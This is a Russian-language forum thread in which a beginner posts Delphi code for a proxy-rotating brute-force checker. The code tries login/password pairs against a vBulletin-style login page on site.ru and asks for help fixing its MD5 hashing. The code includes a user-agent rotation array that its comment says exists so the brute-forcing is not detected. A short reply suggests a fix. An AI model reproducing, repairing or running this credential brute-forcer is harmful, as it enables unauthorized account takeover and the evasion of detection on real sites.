1. Apache20.11.2026 в 23:41от
Загрузка...

MD5

Тема в разделе "С/С++/Pascal/Delphi", создана пользователем Ardinvest, 01.06.2012.

  1. Ardinvest

    Ardinvest

    Статус:
    Оффлайн
    Регистрация:
    24.05.12
    Сообщения:
    24
    Репутация:
    2 +/-
    Проблемма заключается в том что,при отправке пост запроса,каждый пароль должен отсылатся без шифрования и с шифрованием в MD5.Функцию MD5 подключил,но при отправке в MD5 хэше он отправляет один и тот же пароль.Кто может подсказать,как очищать MD5 хэш и чтоб при отправке одного пароля,он отсылал следующий в MD5 хэше,а не брал один и тот же.Извиняюсь за корявое изложение проблеммы,просто не знаю как правильно сформулировать.В Delphi я новичёк.Вот кусок кода:


    PHP:
    interface

    uses
      Windows
    , Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      
    Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
      
    IdHTTP, StdCtrls, xpman, ExtCtrls, Gauges;

    type
      TForm1 
    = class(TForm)
        
    LogMemo: TMemo;
        
    GroupBox1: TGroupBox;
        
    Edit1: TEdit;
        
    Button1: TButton;
        
    IdHTTP1: TIdHTTP;
        
    GroupBox2: TGroupBox;
        
    Edit2: TEdit;
        
    Button2: TButton;
        
    GroupBox3: TGroupBox;
        
    Label1: TLabel;
        
    Label2: TLabel;
        
    Label3: TLabel;
        
    Label4: TLabel;
        
    Label5: TLabel;
        
    OpenDialog1: TOpenDialog;
        
    Button3: TButton;
        
    Button4: TButton;
        
    Proc: TGauge;
        
    Timer1: TTimer;
        
    AllLabel: TLabel;
        
    ProxyLabel: TLabel;
        
    GoodLabel: TLabel;
        
    BadLabel: TLabel;
        
    ErrorLabel: TLabel;
        
    procedure Button3Click(Sender: TObject);
        
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
        
    procedure Button1Click(Sender: TObject);
        
    procedure FormActivate(Sender: TObject);
        
    procedure Button2Click(Sender: TObject);
        
    procedure Button4Click(Sender: TObject);
        
    procedure FormCreate(Sender: TObject);
        
    procedure Timer1Timer(Sender: TObject);
      private
        { Private 
    declarations }
      public 
    //Пусть функция будет доступна всем
      
    Function CheckAcc(login, passw, proxy, pport:string):integer;
        { Public 
    declarations }
      
    end;

      
    TBruteThread=class(TThread) //Я уже писал об этом.
      
    Private
        Protected
          
    Procedure Execute;override;
      Public
        
    Constructor Create(CreateSuspended: boolean);
      
    end;

    var
      
    Form1: TForm1;
      
    work:boolean;
      
    tp, coded:integer;
      
    GoodFile:TextFile;
      
    ProxyList, SourceList:TStringList;
      
    UserAg: array [0..10] of string=( //массив c user agent'ами дабы не просекли что идёт брут.
        
    'Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010726 Netscape6/6.1',
        
    'Mozilla/5.0 (Windows; U; Win9x; en; Stable) Gecko/20020911 Beonex/0.8.1-stable',
        
    'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.1 Safari/525.19',
        
    'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.4/Megaupload 3.0',
        
    'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.452) Gecko/20041027 Mnenhy/0.6.0.104',
        
    'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iRider 2.21.1108; FDM)',
        
    'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MathPlayer2.0)',
        
    'Mozilla/5.0 (Windows; U;XMPP Tiscali Communicator v.10.0.1; Windows NT 5.1; it; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3',
        
    'Mozilla/5.0 (X11; U; Linux 2.4.2-2 i586; en-US; m18) Gecko/20010131 Netscape6/6.01',
        
    'Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.7.6) Gecko/20050405 Epiphany/1.6.1 (Ubuntu) (Ubuntu package 1.0.2)',
        
    'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801'
      
    );
      
    S:string;
      
    H:string;

    implementation

    {$R *.dfm}

    Function 
    md5(H:string):String;
     var 
    a:array[0..15] of byte;
         
    i:integer;
      
    LenHi, LenLo: longword;
      
    Index: DWord;
      
    HashBuffer: array[0..63] of byte;
      
    CurrentHash: array[0..3] of DWord;
      
    procedure Burn;
      
    begin
        LenHi
    := 0; LenLo:= 0;
        
    Index:= 0;
        
    FillChar(HashBuffer,Sizeof(HashBuffer),0);
        
    FillChar(CurrentHash,Sizeof(CurrentHash),0);
      
    end;
     
    procedure Init;
     
    begin
       Burn
    ;
       
    CurrentHash[0]:= $67452301;
       
    CurrentHash[1]:= $efcdab89;
       
    CurrentHash[2]:= $98badcfe;
       
    CurrentHash[3]:= $10325476;
     
    end;
     function 
    LRot32(a, b: longword): longword;
     
    begin
       Result
    := (a shl b) or (a shr (32-b));
     
    end;
     
    procedure Compress;
     var
       
    Datas: array[0..15] of dword;
       
    A, B, C, D: dword;
     
    begin
       Move
    (HashBuffer,Datas,Sizeof(Datas));
       
    A:= CurrentHash[0];
       
    B:= CurrentHash[1];
       
    C:= CurrentHash[2];
       
    D:= CurrentHash[3];
       
    A:= B + LRot32(A + (D xor (B and (C xor D))) + Datas[ 0] + $d76aa478,7);
       
    D:= A + LRot32(D + (C xor (A and (B xor C))) + Datas[ 1] + $e8c7b756,12);
       
    C:= D + LRot32(C + (B xor (D and (A xor B))) + Datas[ 2] + $242070db,17);
       
    B:= C + LRot32(B + (A xor (C and (D xor A))) + Datas[ 3] + $c1bdceee,22);
       
    A:= B + LRot32(A + (D xor (B and (C xor D))) + Datas[ 4] + $f57c0faf,7);
       
    D:= A + LRot32(D + (C xor (A and (B xor C))) + Datas[ 5] + $4787c62a,12);
       
    C:= D + LRot32(C + (B xor (D and (A xor B))) + Datas[ 6] + $a8304613,17);
       
    B:= C + LRot32(B + (A xor (C and (D xor A))) + Datas[ 7] + $fd469501,22);
       
    A:= B + LRot32(A + (D xor (B and (C xor D))) + Datas[ 8] + $698098d8,7);
       
    D:= A + LRot32(D + (C xor (A and (B xor C))) + Datas[ 9] + $8b44f7af,12);
       
    C:= D + LRot32(C + (B xor (D and (A xor B))) + Datas[10] + $ffff5bb1,17);
       
    B:= C + LRot32(B + (A xor (C and (D xor A))) + Datas[11] + $895cd7be,22);
       
    A:= B + LRot32(A + (D xor (B and (C xor D))) + Datas[12] + $6b901122,7);
       
    D:= A + LRot32(D + (C xor (A and (B xor C))) + Datas[13] + $fd987193,12);
       
    C:= D + LRot32(C + (B xor (D and (A xor B))) + Datas[14] + $a679438e,17);
       
    B:= C + LRot32(B + (A xor (C and (D xor A))) + Datas[15] + $49b40821,22);
       
    A:= B + LRot32(A + (C xor (D and (B xor C))) + Datas[ 1] + $f61e2562,5);
       
    D:= A + LRot32(D + (B xor (C and (A xor B))) + Datas[ 6] + $c040b340,9);
       
    C:= D + LRot32(C + (A xor (B and (D xor A))) + Datas[11] + $265e5a51,14);
       
    B:= C + LRot32(B + (D xor (A and (C xor D))) + Datas[ 0] + $e9b6c7aa,20);
       
    A:= B + LRot32(A + (C xor (D and (B xor C))) + Datas[ 5] + $d62f105d,5);
       
    D:= A + LRot32(D + (B xor (C and (A xor B))) + Datas[10] + $02441453,9);
       
    C:= D + LRot32(C + (A xor (B and (D xor A))) + Datas[15] + $d8a1e681,14);
       
    B:= C + LRot32(B + (D xor (A and (C xor D))) + Datas[ 4] + $e7d3fbc8,20);
       
    A:= B + LRot32(A + (C xor (D and (B xor C))) + Datas[ 9] + $21e1cde6,5);
       
    D:= A + LRot32(D + (B xor (C and (A xor B))) + Datas[14] + $c33707d6,9);
       
    C:= D + LRot32(C + (A xor (B and (D xor A))) + Datas[ 3] + $f4d50d87,14);
       
    B:= C + LRot32(B + (D xor (A and (C xor D))) + Datas[ 8] + $455a14ed,20);
       
    A:= B + LRot32(A + (C xor (D and (B xor C))) + Datas[13] + $a9e3e905,5);
       
    D:= A + LRot32(D + (B xor (C and (A xor B))) + Datas[ 2] + $fcefa3f8,9);
       
    C:= D + LRot32(C + (A xor (B and (D xor A))) + Datas[ 7] + $676f02d9,14);
       
    B:= C + LRot32(B + (D xor (A and (C xor D))) + Datas[12] + $8d2a4c8a,20);
       
    A:= B + LRot32(A + (B xor C xor D) + Datas[ 5] + $fffa3942,4);
       
    D:= A + LRot32(D + (A xor B xor C) + Datas[ 8] + $8771f681,11);
       
    C:= D + LRot32(C + (D xor A xor B) + Datas[11] + $6d9d6122,16);
       
    B:= C + LRot32(B + (C xor D xor A) + Datas[14] + $fde5380c,23);
       
    A:= B + LRot32(A + (B xor C xor D) + Datas[ 1] + $a4beea44,4);
       
    D:= A + LRot32(D + (A xor B xor C) + Datas[ 4] + $4bdecfa9,11);
       
    C:= D + LRot32(C + (D xor A xor B) + Datas[ 7] + $f6bb4b60,16);
       
    B:= C + LRot32(B + (C xor D xor A) + Datas[10] + $bebfbc70,23);
       
    A:= B + LRot32(A + (B xor C xor D) + Datas[13] + $289b7ec6,4);
       
    D:= A + LRot32(D + (A xor B xor C) + Datas[ 0] + $eaa127fa,11);
       
    C:= D + LRot32(C + (D xor A xor B) + Datas[ 3] + $d4ef3085,16);
       
    B:= C + LRot32(B + (C xor D xor A) + Datas[ 6] + $04881d05,23);
       
    A:= B + LRot32(A + (B xor C xor D) + Datas[ 9] + $d9d4d039,4);
       
    D:= A + LRot32(D + (A xor B xor C) + Datas[12] + $e6db99e5,11);
       
    C:= D + LRot32(C + (D xor A xor B) + Datas[15] + $1fa27cf8,16);
       
    B:= C + LRot32(B + (C xor D xor A) + Datas[ 2] + $c4ac5665,23);
       
    A:= B + LRot32(A + (C xor (B or (not D))) + Datas[ 0] + $f4292244,6);
       
    D:= A + LRot32(D + (B xor (A or (not C))) + Datas[ 7] + $432aff97,10);
       
    C:= D + LRot32(C + (A xor (D or (not B))) + Datas[14] + $ab9423a7,15);
       
    B:= C + LRot32(B + (D xor (C or (not A))) + Datas[ 5] + $fc93a039,21);
       
    A:= B + LRot32(A + (C xor (B or (not D))) + Datas[12] + $655b59c3,6);
       
    D:= A + LRot32(D + (B xor (A or (not C))) + Datas[ 3] + $8f0ccc92,10);
       
    C:= D + LRot32(C + (A xor (D or (not B))) + Datas[10] + $ffeff47d,15);
       
    B:= C + LRot32(B + (D xor (C or (not A))) + Datas[ 1] + $85845dd1,21);
       
    A:= B + LRot32(A + (C xor (B or (not D))) + Datas[ 8] + $6fa87e4f,6);
       
    D:= A + LRot32(D + (B xor (A or (not C))) + Datas[15] + $fe2ce6e0,10);
       
    C:= D + LRot32(C + (A xor (D or (not B))) + Datas[ 6] + $a3014314,15);
       
    B:= C + LRot32(B + (D xor (C or (not A))) + Datas[13] + $4e0811a1,21);
       
    A:= B + LRot32(A + (C xor (B or (not D))) + Datas[ 4] + $f7537e82,6);
       
    D:= A + LRot32(D + (B xor (A or (not C))) + Datas[11] + $bd3af235,10);
       
    C:= D + LRot32(C + (A xor (D or (not B))) + Datas[ 2] + $2ad7d2bb,15);
       
    B:= C + LRot32(B + (D xor (C or (not A))) + Datas[ 9] + $eb86d391,21);
       
    Inc(CurrentHash[0],A);
       
    Inc(CurrentHash[1],B);
       
    Inc(CurrentHash[2],C);
       
    Inc(CurrentHash[3],D);
       
    Index:= 0;
       
    FillChar(HashBuffer,Sizeof(HashBuffer),0);
     
    end;
     
    procedure Update(const Buffer; Size: longword);
     var
       
    PBuf: ^byte;
     
    begin
       Inc
    (LenHi,Size shr 29);
       
    Inc(LenLo,Size*8);
       if 
    LenLo< (Size*8) then
         Inc
    (LenHi);
       
    PBuf:= @Buffer;
       while 
    Size> 0 do
       
    begin
         
    if (Sizeof(HashBuffer)-Index)<= DWord(Size) then
         begin
           Move
    (PBuf^,HashBuffer[Index],Sizeof(HashBuffer)-Index);
           
    Dec(Size,Sizeof(HashBuffer)-Index);
           
    Inc(PBuf,Sizeof(HashBuffer)-Index);
           
    Compress;
         
    end
         
    else
         
    begin
           Move
    (PBuf^,HashBuffer[Index],Size);
           
    Inc(Index,Size);
           
    Size:= 0;
         
    end;
       
    end;
     
    end;
     
    procedure Final(var Digest);
     
    begin
       HashBuffer
    [Index]:= $80;
       if 
    Index>= 56 then Compress;
       
    PDWord(@HashBuffer[56])^:= LenLo;
       
    PDWord(@HashBuffer[60])^:= LenHi;
       
    Compress;
       
    Move(CurrentHash,Digest,Sizeof(CurrentHash));
       
    Burn;
     
    end;
    begin
     Init
    ;
     
    Update(s[1],Length(s));
     Final(
    a);
     
    result:='';
     for 
    i:=0 to 15 do
       
    result:=result+IntToHex(a[i], 2);
     
    Burn;
    end;

    function 
    TForm1.CheckAcc(login, passw, proxy, pport: string): integer;
    var 
    HTTP:TidHTTP; send:TStringList; pg:string;
    begin
      HTTP
    :=TIdHTTP.Create(nil); //создаём компонент
      
    with HTTP do begin //устанавливаем настройки
        
    AllowCookies:=true; //включаем куки
        
    HandleRedirects:=false; //Запрещаем редирект на страницу
        
    ReadTimeout:=10000; //Тайм аут на соединение (типо чекер прокси)
        
    ProxyParams.ProxyServer:=proxy; //Присваиваем прокси хост
        
    ProxyParams.ProxyPort:=StrToInt(pport); //Присваиваем прокси порт
        
    randomize; //Рандомизируем числа
        
    Request.UserAgent:=UserAg[random(10)]; // Присваиваем User Agent (типо мы через браузер заходим)
      
    end;

      
    //формируем параметры для POST запроса
      
    Send:=TStringList.Create;
      
    Send.Add('s=');
      
    Send.Add('do=login');
      
    Send.Add('vb_login_md5password='+MD5(passw));
      
    Send.Add('vb_login_md5password_utf='+MD5(passw));
      
    Send.Add('vb_login='+login);
      
    Send.Add('vb_password='+passw);
      try 
    //Перехват ошибок которые могут возникнуть во время отправки запроса
        
    HTTP.Request.Referer:='http://site.ru/'; //Мы авторизируемся с главной страницы =)
        
    pg:=HTTP.Post('http://site.ru/login.php', send); //Отправляем запрос
        
    result:=2; //если нету редиректа значит аккаунт не валидный. Пичалька...
      
    except
        
    if Pos('"valid":""',pg)<>0 then result:=0 else result:=1; //Если код 302 (редирект) то успешно авторизировались!
      
    end;
      
    Send.Free; //Удаляем созданные ранее переменные
      
    HTTP.Free; //Удаляем созданные ранее компоненты

    end;
     
  2. TheRampage

    TheRampage

    Статус:
    Оффлайн
    Регистрация:
    06.09.12
    Сообщения:
    18
    Репутация:
    3 +/-
    сделай 2 переменные, md5_pass и clear_pass